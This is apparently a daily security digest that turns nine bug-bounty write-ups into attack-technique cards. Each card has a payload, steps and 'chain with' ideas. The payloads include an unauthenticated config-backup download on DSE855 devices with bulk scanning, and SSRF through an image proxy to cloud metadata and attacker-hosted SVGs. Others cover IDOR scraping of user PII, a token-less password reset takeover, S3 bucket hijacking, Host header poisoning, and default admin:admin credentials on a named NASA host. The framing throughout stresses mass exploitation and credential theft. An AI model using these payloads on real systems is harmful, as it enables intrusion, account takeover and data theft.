# ETX Signal-X

Daily Intelligence Digest

Wednesday, March 18, 2026

| 9 | 17 |
| --- | --- |
| ARTICLES | TECHNIQUES |

Article 1

# The Discovery of CVE-2024–5947: Authentication Bypass in Deep Sea Electronics DSE855

**Source:** securitycipher

**Date:** 31-Aug-2024

**URL:** https://infosecwriteups.com/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb

## T1 Unauthenticated Download of Sensitive Configuration Backup (CVE-2024-5947)

### 💉 Payload

```
GET /Backup.bin HTTP/1.1
Host: <target-ip-or-host>
```

### ⚔️ Attack Chain

1. Identify a Deep Sea Electronics DSE855 device with a web interface exposed to the network.
2. Directly access the endpoint `http://<target-ip-or-host>/Backup.bin` in a browser or via HTTP request.
3. If the file downloads without authentication, extract sensitive configuration data (potentially credentials, keys, or network settings) from the `.bin` file.

### 🔍 Discovery

Manual inspection of the web interface and enumeration of common backup/configuration file endpoints. The researcher noticed the presence of `/Backup.bin` and tested direct access, discovering no authentication was required.

### 🔓 Bypass

No authentication or session validation is performed before serving the backup file. The endpoint is exposed to any network-adjacent attacker.

### 🔗 Chain With

Extracted credentials or configuration data from `Backup.bin` can be used for lateral movement, privilege escalation, or further attacks (e.g., remote management, device reconfiguration, pivoting into internal networks). The technique can be automated across large IP ranges for mass exploitation using the provided Python tool or custom scripts.

## T2 Automated Bulk Discovery of Unauthenticated Backup Endpoints

### 💉 Payload

```
CVE-2024-5947 -i urls.txt
```

### ⚔️ Attack Chain

1. Prepare a list of target URLs or IPs (one per line) in a file named `urls.txt`.
2. Run the tool with the bulk scan option: `CVE-2024-5947 -i urls.txt`.
3. The tool will automatically probe each target for the presence of `/Backup.bin` and report unauthenticated access.

### 🔍 Discovery

Development and use of a custom Python tool (available on GitHub) to automate the detection of this vulnerability across multiple targets, increasing coverage and speed of discovery.

### 🔓 Bypass

Tool does not require credentials or session cookies; it relies on the endpoint being globally unauthenticated.

### 🔗 Chain With

Enables mass scanning of IoT/OT/ICS environments for vulnerable DSE855 devices. Can be combined with credential stuffing or device takeover scripts after extracting sensitive data from discovered backups.

Article 2

# One Subscription Away from Criticals

**Source:** securitycipher

**Date:** 18-Nov-2025

**URL:** https://0wnr.medium.com/one-subscription-away-from-criticals-e7a7bacde4b7

## T1 IDOR via Avatar Upload Leaks Full Profile

### 💉 Payload

```
POST /v1/users/avatar/{userId}
Authorization: Bearer <attacker_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

<avatar image data>
```

### ⚔️ Attack Chain

1. Authenticate as a normal user (paywall bypassed via subscription).
2. Capture the avatar upload request to `/v1/users/avatar/{userId}`.
3. Replace `{userId}` with the target user's ID (e.g., 2, 3, ...).
4. Send the modified request.
5. Receive full profile data (name, email, home address) of the target user in the response.

### 🔍 Discovery

Manual review of API calls after paywall access; noticed sequential, guessable user IDs and tested parameter tampering on avatar upload endpoint.

### 🔓 Bypass

Endpoint did not enforce authorization checks on the `userId` parameter, allowing horizontal privilege escalation.

### 🔗 Chain With

Harvest PII for social engineering, further account takeover, or chaining with password reset flaws.

## T2 Race Condition on App Deployment Quota

### 💉 Payload

```
POST /v1/apps/deploy
Authorization: Bearer <attacker_token>
Content-Type: application/json

{"app_config": { ... }}

(repeat above request in parallel, e.g., with Turbo Intruder)
```

### ⚔️ Attack Chain

1. Purchase a subscription to access the dashboard.
2. Deploy one app to leave only one slot available (quota = 2).
3. Intercept the app deployment request.
4. Send two identical deployment requests simultaneously using Turbo Intruder or similar.
5. Both requests are processed before the quota is decremented, resulting in more apps than allowed (e.g., 3 apps with a 2-app limit).

### 🔍 Discovery

Quota logic suspicion; tested simultaneous requests after noticing app slot counter only decremented after deployment.

### 🔓 Bypass

Exploits lack of atomicity in quota check and update, classic TOCTOU (Time-of-Check to Time-of-Use) flaw.

### 🔗 Chain With

Abuse for resource exhaustion, DoS, or to gain additional privileged features (e.g., more apps, more data exposure).

## T3 Password Reset Logic Flaw Enables Random Account Takeover

### 💉 Payload

```
POST /forgot
Content-Type: application/json

{
  "password": "NewPassword123!"
  // token parameter omitted intentionally
}
```

### ⚔️ Attack Chain

1. Initiate password reset flow: `PUT /forgot` with any email to get a token (optional, not required for exploit).
2. Send `POST /forgot` with a new password but omit the `token` parameter entirely.
3. Receive a 200 OK response containing an email address (not necessarily the attacker's).
4. Attempt to log in as the returned email using the new password set in step 2.
5. Gain access to random user accounts; repeat for multiple takeovers.

### 🔍 Discovery

Parameter tampering during password reset; observed system behavior when omitting the expected `token` parameter.

### 🔓 Bypass

Password reset endpoint fails to validate or require the token, resulting in assignment of new passwords to arbitrary/random accounts.

### 🔗 Chain With

Full account takeover, chaining with PII leaks from IDOR or activity log for targeted attacks.

## T4 /activitylog Endpoint Data Exposure via user_id Parameter

### 💉 Payload

```
GET /activitylog?user_id=2
Authorization: Bearer <attacker_token>
```

### ⚔️ Attack Chain

1. Fuzz `/v1/FUZZ` endpoints after authenticating via paid subscription.
2. Discover `/activitylog` endpoint.
3. Initial request without parameters causes server to hang (504 Gateway Timeout), indicating large data retrieval.
4. Add `?user_id=2` (or other IDs) to scope the request.
5. Receive immediate response containing full activity logs for the specified user, including admin actions, deployed app details, PII, and bcrypt-hashed passwords.
6. Increment `user_id` to scrape data for all users.

### 🔍 Discovery

Endpoint fuzzing; observed server timeouts and experimented with user_id parameter to control data volume.

### 🔓 Bypass

No access control or filtering on `user_id` parameter; direct object reference allows enumeration and mass data extraction.

### 🔗 Chain With

Harvest admin credentials, build user mapping for targeted attacks, combine with password reset and avatar IDOR for full compromise.

Article 3

# S3 Bucket takeover with simple technique lead to $$$

**Source:** securitycipher

**Date:** 15-Jan-2024

**URL:** https://medium.com/@adhaamsayed3/s3-bucket-takeover-with-simple-technique-lead-to-0fc0b89eeecb

## T1 S3 Bucket Takeover via Dangling Reference in Mobile APK

### 💉 Payload

```
aws s3api create-bucket — bucket YOUR_BUCKET_NAME — region YOUR_REGION — create-bucket-conf
iguration LocationConstraint=YOUR_REGION
```

### ⚔️ Attack Chain

1. Download the target Android APK (e.g., program.apk) from the mobile app store.
2. Decompile the APK using apktool:
3. Recursively grep for S3 bucket URLs inside the decompiled directory:
4. amazon.com"
5. Identify hardcoded S3 bucket names used by the application.
6. Test the existence of the bucket (e.g., via AWS CLI or browser). If the bucket returns NoSuchBucket, it is unclaimed.
7. Register the bucket with your own AWS account using the provided AWS CLI payload, matching the original name and region.
8. Confirm takeover by accessing the bucket endpoint and observing control.

### 🔍 Discovery

Manual static analysis of decompiled APKs, searching for S3 bucket references. The researcher noticed a previously existing bucket was deleted in a later version, triggering a check for takeover.

### 🔓 Bypass

Persistence pays off: The bucket was not vulnerable at first, but periodic retesting after app updates revealed the dangling reference. No direct bypass, but timing and monitoring are key.

### 🔗 Chain With

Host malicious payloads or files at the hijacked bucket, leading to supply chain attacks if the app or web assets load resources from the bucket. Leverage for phishing (if bucket is used for static site hosting). Exfiltrate data if the bucket is used for logs or uploads. Combine with APK secrets extraction for further AWS account compromise.

## T2 Automated S3 Bucket Enumeration and Takeover Monitoring via APK Recon

### 💉 Payload

```
# Example automation script (conceptual, not full script):
grep -Eorh 's3(-[a-z0-9-]+)?\.amazonaws\.com/[a-zA-Z0-9._-]+' program_apk/ | sort | uniq |
while read bucket; do
  # Check if bucket exists
  aws s3 ls s3://$bucket || echo "$bucket is available for takeover"
done
```

### ⚔️ Attack Chain

1. Automate APK download and decompilation (e.g., using apkleaks or jadx-gui for batch processing).
2. Extract all S3 bucket references from the APK codebase using regex or static analysis tools.
3. For each bucket, programmatically check existence via AWS CLI or SDK.
4. Alert (e.g., via Telegram bot) if a bucket is found to be unclaimed (NoSuchBucket response).
5. Register the bucket immediately to prevent race conditions.

### 🔍 Discovery

Automation of the manual APK analysis and bucket enumeration process. The researcher used custom bash scripts and open-source tools (apkleaks, jadx-gui) to scale the process and monitor for new takeover opportunities over time.

### 🔓 Bypass

Automated, periodic checks (cron jobs) allow catching buckets as soon as they become available, bypassing the need for manual, one-off checks.

### 🔗 Chain With

Integrate with bug bounty recon pipelines for continuous asset discovery. Combine with app version diffing to identify buckets removed in new releases but still referenced in legacy endpoints. Use as a precursor for automated supply chain attacks if buckets are used for code or asset delivery.

Article 4

# Untitled

**Source:**

**Date:**

**URL:**

## T1 SSRF via Cloudflare Image Proxy with External URL Injection

### 💉 Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://d1t1i8qjs1coffvlbrb0dz3onx66ucnwu.oast.live HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Connection: close
```

### ⚔️ Attack Chain

1. Identify a Cloudflare-managed image proxy endpoint at `/cdn-cgi/image/` on the target domain.
2. Craft a request to `/cdn-cgi/image/` with image transformation options, followed by a fully-qualified external URL under attacker control (e.g., Interactsh or Burp Collaborator).
3. Send the request and monitor the external server for incoming HTTP requests from Cloudflare IPs, confirming SSRF.

### 🔍 Discovery

Recon of subdomains revealed Cloudflare image proxy usage. Suspicion was triggered by the endpoint accepting external URLs instead of only relative paths. Out-of-band interaction (Interactsh) confirmed SSRF.

### 🔓 Bypass

No authentication or user interaction required. The endpoint did not restrict to internal assets—arbitrary external URLs were accepted as image sources.

### 🔗 Chain With

Internal network scanning (e.g., `http://localhost:8080/`, `http://127.0.0.1:3000/`, `http://10.0.0.0/8`) Cloud metadata exfiltration (e.g., `http://169.254.169.254/latest/meta-data/`, `http://metadata.google.internal/`) Bypassing IP-based firewalls (accessing internal admin panels whitelisted for Cloudflare IPs) XSS via malicious SVG payloads if the frontend renders attacker-supplied SVG images

## T2 Chaining SSRF with Malicious SVG for Stored XSS via Image Proxy

### 💉 Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://attacker.com/payload.svg HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Connection: close
```

### ⚔️ Attack Chain

1. Host a malicious SVG file with embedded JavaScript on an attacker-controlled server.
2. Use the image proxy endpoint to fetch the SVG: `/cdn-cgi/image/width=1000,format=auto/https://attacker.com/payload.svg`.
3. If the frontend application renders the proxied SVG as an image, the embedded JavaScript executes, resulting in stored XSS.

### 🔍 Discovery

After confirming SSRF, the researcher noted the potential for SVG-based XSS if the frontend does not sanitize SVG content fetched via the image proxy.

### 🔓 Bypass

No restrictions on image type or content were enforced by the proxy. SVGs are fetched and served as-is, enabling script execution if rendered unsanitized.

### 🔗 Chain With

Stored XSS (if SVG is rendered in a context that executes scripts) Further privilege escalation or session hijacking if XSS is triggered in privileged user contexts

## T3 SSRF to Cloud Metadata Service for Credential Exfiltration

### 💉 Payload

```
GET /cdn-cgi/image/width=1000,format=auto/http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Connection: close
```

### ⚔️ Attack Chain

1. Confirm SSRF primitive via the image proxy endpoint.
2. Replace the external URL with the AWS metadata service endpoint (`http://169.254.169.254/latest/meta-data/`).
3. The backend fetches metadata, which may be returned in the HTTP response or used for further exploitation (e.g., IAM credentials, tokens).

### 🔍 Discovery

Standard SSRF escalation path: after confirming arbitrary URL fetch, test for access to cloud metadata endpoints to check for credential exposure.

### 🔓 Bypass

No filtering of internal IPs or reserved ranges; proxy fetches internal cloud resources on behalf of the attacker.

### 🔗 Chain With

Exfiltration of AWS/GCP credentials Lateral movement to other cloud services Privilege escalation within the cloud environment

Article 5

# Mi P1 En la NASA con 16 Años

**Source:** securitycipher

**Date:** 14-Aug-2025

**URL:** https://gorkaaa.medium.com/mi-p1-en-la-nasa-con-16-a%C3%B1os-3eba63256d5b

## T1 Client-Side Response Manipulation to Bypass Authentication

### 💉 Payload

```
* Intercept HTTP response from:
  POST https://registry.luna.nasa.gov/account/sign-in
* If response is:
  HTTP/1.1 401 Unauthorized
* Replace with:
  HTTP/1.1 200 OK
```

### ⚔️ Attack Chain

1. Intercept login POST request to the Harbor instance at `https://registry.luna.nasa.gov/account/sign-in` using Burp Suite.
2. Attempt login with any credentials (e.g., `usuario: nasacontraseña: nasa123`).
3. When the server responds with `HTTP/1.1 401 Unauthorized`, modify the response to `HTTP/1.1 200 OK` before it reaches the client.
4. Observe that the frontend treats the login as successful and loads the user interface, despite authentication failure.

### 🔍 Discovery

Noticed the login portal's behavior and hypothesized that client-side logic might rely solely on HTTP status code for authentication. Decided to test by manipulating the response code with Burp Suite.

### 🔓 Bypass

By changing the HTTP status code from 401 to 200, the client-side logic is tricked into granting access, regardless of actual authentication outcome.

### 🔗 Chain With

Use in combination with default credentials to escalate privileges. Potential for lateral movement if internal APIs or admin panels are exposed after bypass.

## T2 Default Credentials (admin:admin) on Exposed Harbor Instance

### 💉 Payload

```
usuario: admin
contraseña: admin
```

### ⚔️ Attack Chain

1. After gaining access to the login interface (or bypassing client-side checks as above), attempt to authenticate using default credentials `admin:admin`.
2. Upon success, receive full administrative access to the Harbor instance, including all projects, container images, activity logs, and internal API documentation.

### 🔍 Discovery

Tested common default credentials after observing the system was running Harbor and suspecting weak initial configuration.

### 🔓 Bypass

No brute force required; default credentials were accepted due to lack of hardening.

### 🔗 Chain With

Exfiltration of proprietary code, secrets, and API keys from container images. Sabotage of CI/CD pipelines by deleting or modifying critical images. Supply chain attacks by injecting malicious images for internal consumption. Use of internal documentation and logs for further internal exploitation or lateral movement.

Article 6

# From IDOR to Admin Door: The Bug That Opened Everything

**Source:** securitycipher

**Date:** 17-May-2025

**URL:** https://medium.com/@dineshnarasimhan27/from-idor-to-admin-door-the-bug-that-opened-everything-9479b4185c05

⚠️ No actionable techniques found

Article 7

# Host Header Poisoning Vulnerability: A Critical Web Security Flaw

**Source:** securitycipher

**Date:** 10-Jul-2024

**URL:** https://zierax.medium.com/host-header-poisoning-vulnerability-a-critical-web-security-flaw-1c2991177e8c

## T1 Host Header Poisoning for Redirection, Cache Poisoning, and Phishing

### 💉 Payload

```
GET / HTTP/1.1
Host: attacker.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Connection: close
Cache-Control: max-age=0
```

### ⚔️ Attack Chain

1. Identify an endpoint that reflects or trusts the `Host` header (e.g., main page, password reset, or any endpoint generating links/emails).
2. Send a request with the `Host` header set to an attacker-controlled domain (e.g., `Host: attacker.com`).
3. Observe application behavior: look for open redirection, reflected links, password reset emails, or cache keys using the attacker-controlled host.
4. Confirm impact: redirection to attacker domain, poisoned cache serving attacker content, or phishing vector via trusted emails/links.

### 🔍 Discovery

Manual inspection of HTTP requests and application responses for trust or reflection of the `Host` header. Triggered by observing the application using the `Host` header in links, redirects, or email content.

### 🔓 Bypass

Not explicitly described in the article, but standard bypasses include using alternate headers (`X-Forwarded-Host`, `X-Host`), or exploiting proxies/load balancers that pass through unvalidated host values.

### 🔗 Chain With

Combine with password reset flows to hijack reset links (phishing/ATO). Poison web cache to serve attacker-controlled content to all users. Leverage for SSRF if internal services trust the `Host` header.

Article 8

# $500 OTP Bypass: Found It, Proved It, Then...

**Source:** securitycipher

**Date:** 09-Jun-2025

**URL:** https://medium.com/@kailasv678/500-otp-bypass-found-it-proved-it-then-3930c9e45d4f

## T1 Direct Access to Internal Paths to Bypass OTP/2FA Verification

### 💉 Payload

```
GET /profile/edit HTTP/1.1
Host: website.com
Cookie: [session cookie for newly registered, unverified user]
```

### ⚔️ Attack Chain

1. Register a new user account via the normal signup flow (email-based OTP verification required).
2. When prompted for OTP, do NOT enter/submit the OTP.
3. Instead, directly navigate to a known internal path (e.g., /profile/edit, /dashboard, /settings) by entering the URL in the browser or sending a direct HTTP request with the session cookie.
4. Observe that access is granted to internal functionality without OTP/2FA verification.

### 🔍 Discovery

After noting the internal URLs available post-verification with the first account, the researcher created a second account and, before completing OTP verification, attempted to access those known internal endpoints directly. This was done to test for missing enforcement of the verification gate on backend routes.

### 🔓 Bypass

The backend failed to enforce OTP/2FA verification status before granting access to protected routes. The session was considered authenticated as soon as registration was completed, regardless of verification state.

### 🔗 Chain With

Can be chained with automation of mass account creation to bypass anti-spam/anti-bot controls. If internal features allow data exfiltration, privilege escalation, or further account setup, attacker can leverage unverified accounts for deeper access or lateral movement.

Article 9

# Double-Door IDOR Exposing 85k+ Emails

**Source:** securitycipher

**Date:** 06-Dec-2025

**URL:** https://scriptjacker.medium.com/double-door-idor-exposing-85k-emails-182309af98be

## T1 Sequential User ID Enumeration on Email Verification Endpoint

### 💉 Payload

```
GET /user/checkEmail/61249 HTTP/1.1
Host: redacted
```

### ⚔️ Attack Chain

1. Register a new account to obtain your user ID and reach the email verification page at `/user/checkEmail/{userID}`.
2. Increment or decrement the numeric user ID in the URL (e.g., `61250` → `61249`, `61248`, etc.).
3. Send unauthenticated GET requests to each sequential ID.
4. Each request returns the email confirmation page for that user, leaking their email address.

### 🔍 Discovery

Noticed a numeric user ID in the email verification URL after signup. Manually altered the ID to test for IDOR and observed other users' email addresses being disclosed.

### 🔓 Bypass

No authentication or authorization required; no rate limiting; IDs are sequential and guessable.

### 🔗 Chain With

Use for mass enumeration of user emails for phishing or credential stuffing. Potential to combine with other endpoints that accept user ID for further account takeover or privilege escalation.

## T2 Email Disclosure via Breadcrumbs on 404 Error Page with IDOR

### 💉 Payload

```
GET /user/26719/printable HTTP/1.1
Host: redacted
```

### ⚔️ Attack Chain

1. Log in to the platform and visit your own profile's printable page at `/user/{yourUserID}/printable`.
2. Observe that a 404 "Page not found" error is shown, but the breadcrumb displays your email address.
3. Change the user ID in the URL to another sequential value (e.g., `26720` → `26719`, etc.).
4. The 404 page for each ID leaks the corresponding user's email address in the breadcrumb, even though the page is "not found".

### 🔍 Discovery

Clicked on the profile's printable page, noticed the email address in the breadcrumb on a 404 error. Tested sequential IDs and confirmed email leakage for all users.

### 🔓 Bypass

Error page logic leaks sensitive data despite "not found" message. No authorization checks on the endpoint.

### 🔗 Chain With

Can be used for large-scale enumeration of user emails. Breadcrumb data may expose additional metadata if present (e.g., roles, usernames). Can be chained with other IDORs or privilege escalation vectors if user IDs are used elsewhere.

---